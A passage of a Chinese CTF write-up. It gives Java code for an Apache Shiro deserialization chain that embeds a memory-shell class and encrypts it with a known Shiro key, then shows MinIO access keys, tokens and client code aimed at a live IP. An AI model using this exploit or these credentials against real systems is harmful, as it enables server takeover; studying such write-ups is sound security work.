" z.setName(z.getName()+\"yv66vgAAADQAhAoAGgBJBwBKCgBLAEwJAAIATQoATgBPBwBQBwBRCgAHAEkKAAYAUgoAUwBUCAA+CgBLAFUKAFYAVwoAVgBYBwBZCABaCgAPAFsKAFwAXQcAXgoAEwBJCgATAF8KAEsAYAoAUwBhBwBiCgAYAGMHAGQBAAxEZWZpbmVMb2FkZXIBAAxJbm5lckNsYXNzZXMBABMkYXNzZXJ0aW9uc0Rpc2FibGVkAQABWgEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAkTGNvbS9qYXZhc2VjL21lbXNoZWxsL011bHRpTWVtc2hlbGw7AQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveH\");\n" +
" System.out.println(z.getName());\n" +
" }\n" +
" }\n" +
" }\n" +
" catch (Exception e){\n" +
" }");
final BeanComparator comparator = new BeanComparator();
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
// 为了能够继续走下去,priority的size必须大于等于2
queue.add(1);
queue.add(1);
SerializeUtils.setFieldValue(comparator, "property", "outputProperties");
SerializeUtils.setFieldValue(queue, "queue", new Object[]{obj, obj});
AesCipherService aes = new AesCipherService();
byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
byte[] bytes = convertObjectToBytes(queue);
ByteSource ciphertext = aes.encrypt(bytes, key);
System.out.printf(ciphertext.toString());
}
public static byte[] convertObjectToBytes(Object obj) {
ByteArrayOutputStream boas = new ByteArrayOutputStream();
try (ObjectOutputStream ois = new ObjectOutputStream(boas)) {
ois.writeObject(obj);
return boas.toByteArray();
} catch (IOException ioe) {
ioe.printStackTrace();
}
throw new RuntimeException();
}
}

不断的去拼贴payload,我不想复现了太几把累了。真傻比。

minioday(unsolved)

不知道是不是minio的day呢?或者是一些我不知道的利用trick,给的点位很简单就是自更新RCE,但怎么获取管理员权限是个问题,给的Dockefifle给了我们一对key

1
{"version":1,"credentials":{"accessKey":"Vmd6q3aw2eOEmZ6l","secretKey":"eeuG1b8vW15TPpaN1fP9funQJdDG5wQy","sessionToken":"eyJhbGciOiJIUzUxMiIsInR5cCI6IkpXVCJ9.eyJhY2Nlc3NLZXkiOiJWbWQ2cTNhdzJlT0VtWjZsIiwicGFyZW50IjoicndjdGYiLCJzYS1wb2xpY3kiOiJlbWJlZGRlZC1wb2xpY3kiLCJzZXNzaW9uUG9saWN5IjoiZXlKV1pYSnphVzl1SWpvaU1qQXhNaTB4TUMweE55SXNJbE4wWVhSbGJXVnVkQ0k2VzNzaVJXWm1aV04wSWpvaVFXeHNiM2NpTENKQlkzUnBiMjRpT2xzaWN6TTZLaUpkTENKU1pYTnZkWEpqWlNJNld5SmhjbTQ2WVhkek9uTXpPam82S2lKZGZWMTkifQ.ptjboEMwWhfvl16Jy1gVpinTN7CpFjpy1NKO50RKkjjwzZfvFw-a7-mQnyjFeekxGLqhfIiC6az2kfA1E_Z6qg","expiration":"1970-01-01T00:00:00Z","status":"on","parentUser":"rwctf"},"updatedAt":"2023-11-15T05:38:23.652266083Z"}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
package com.javasec.pocs.solutions.rwctf;

import io.minio.MinioClient;
import io.minio.credentials.StaticProvider;

public class minio {
public static void main(String[] args) {
String ak="QBUDBMG8E1HI5QOLTWZL";
String sk="xuPRHKjsfCLwWSXIWTROp5AKcxtgRmgVpyvAbcRV";
String token="eyJhbGciOiJIUzUxMiIsInR5cCI6IkpXVCJ9.eyJhY2Nlc3NLZXkiOiJRQlVEQk1HOEUxSEk1UU9MVFdaTCIsImV4cCI6MTcwMDA2OTgzNSwicGFyZW50IjoicndjdGYifQ.E5ESAQL4Rsj1ZVUOD1p2hO9fPED1s4lbAcT6iPKgZSYKDgkDTVbRkU98mHKIqtKygWEAn0U8pgwcYltQF0Wh9A";
StaticProvider staticProvider = new StaticProvider(ak,sk,token);
String ENDPOINT = "http://47.251.10.169:33304/";
MinioClient minioClient = MinioClient.builder().endpoint(ENDPOINT).credentialsProvider(staticProvider).build();
minioClient.downloadObject();
}


}



但是所给的用户是一个低权限用户,只可以管理bucket,并不可以用amdin的update完成RCE。所以到这里就没什么思路了

About this Post

This post is written by Boogipop, licensed under CC BY-NC 4.0.

#WriteUp